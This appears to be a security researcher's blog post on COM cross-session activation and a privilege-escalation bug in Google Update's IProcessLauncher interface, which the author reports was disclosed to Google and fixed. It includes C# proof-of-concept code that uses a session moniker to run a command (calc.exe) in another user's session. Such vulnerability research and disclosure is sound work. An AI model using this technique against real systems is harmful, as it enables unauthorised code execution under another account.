Once again, reading blogs and tweets from James Forshaw led me to wonder how things work. This time, I was working on DCOM for my last blog post and while reading about cross-session activation, I had trouble believing what I was reading.
Let’s start with the basics.
The Microsoft Component Object Model (COM) defines an interoperability standard for creating reusable software libraries that interact at run time.
Imagine you wrote software that needs updating. For this to be able to work in the user context, you install a service, let it run as SYSTEM. Your userland software will be able to use COM to communicate with the service in order to update your software as SYSTEM.
A COM class is the implementation of a group of interfaces executed when client interact with a given object. It is identified by a CLSID: a unique 128-bit GUID, registered by the server.
Your service (COM server) registers a COM class “Software Updater”, with CLSID c3ac910b-b039-1500-b33f-5cd7327fe6da
. When your software (COM client) wants to update, it creates an instance of the class to communicate with the interface.
A COM interface defines the methods available through the COM class.
In our example, the only method defined is the UpdateFromCmdLine
method which takes a command (string cmd_line
) as input.
[
object,
oleautomation,
uuid(c3ac910b-b039-1500-b33f-5cd7327fe6da),
helpstring("Software Updater Interface"),
]
interface ISoftwareUpdater: IUnknown {
// @param cmd_line The full command line to execute.
HRESULT UpdateFromCmdLine([in, string] const WCHAR* cmd_line);
};
COM defines a so-called activation security. This specifies who is allowed to activate (or launch) what. This is stored in the registry and evaluated by the service control manager (SCM).
Several values affect COM applications:
These settings can be found using the registry under HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{AppID_GUID}\
or using the built-in dcomcnfg.exe
tool.
If the application identity is set to “The interactive user”, one can use a so-called “session moniker” to activate a COM class in any interactive session on the machine.
To recapitulate the above, a COM class may be abused for Cross-Session privilege escalation if:
For finding COM classes vulnerable to cross-session elevation of privilege (EoP), I can recommend OleViewDotNet, from James Forshaw and the accompanying blog post.
This class of bugs has been around for a long time, however, I was only able to find a few CVEs:
While researching the topic, I stumbled upon an interface called IProcessLauncher
. The Type Library for the class was present and showed a method LaunchCmdLine
.
After searching on the Internet for this, I found the source code, in the chromium project (which is based on Omaha):
The associated COM class did not show up in OleViewDotNet, but in the registry, one can find it is related to the Google Update Service:
The application runs with the default Launch and Activation Permissions:
As it runs as a service, the SYSTEM account is used:
Although Microsoft says Cross-Session activation works only with “The interactive user”, this seems to work as well with “The system account”.
It is pretty easy to test if this class can be instantiated in the context of another user. The following code (inspired, again from James Forshaw) is all it needs:
namespace SessionMoniker
{
class Program
{
// Defines the interface
[ComImport, Guid("128C2DA6-2BC0-44C0-B3F6-4EC22E647964"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IProcessLauncher
{
void LaunchCmdLine(string cmd_line);
void LaunchBrowser(uint browser_type, string url);
Int32 LaunchCmdElevated(string app_guid, string cmd_id, uint caller_proc_id);
UInt32 LaunchCmdLineEx(string cmd_line);
}
// ...
static void Main(string[] args)
{
try
{
// Sets the session to execute code into
int session_id = 2;
// Instantiate the object in the session
IProcessLauncher server = (IProcessLauncher)Marshal.BindToMoniker(
String.Format(
"session:{0}!new:ABC01078-F197-4B0B-ADBC-CFE684B39C82",
session_id
)
);
// Use the interface to execute code
server.LaunchCmdLine("c:\\windows\\system32\\calc.exe");
}
catch (Exception ex)
{
Console.WriteLine(ex);
}
}
The bug was disclosed to Google through the Chromium issue tracker. The incriminated interfaces were simply removed, as they were legacy and not used anymore.
We always report on what works, the cool stuff, the exploits, the bounties. But here’s a list of other things that I tried and led to nothing:
ProcessLauncher
)ProcessLauncher
)
CertRequest
, CertRequestD
)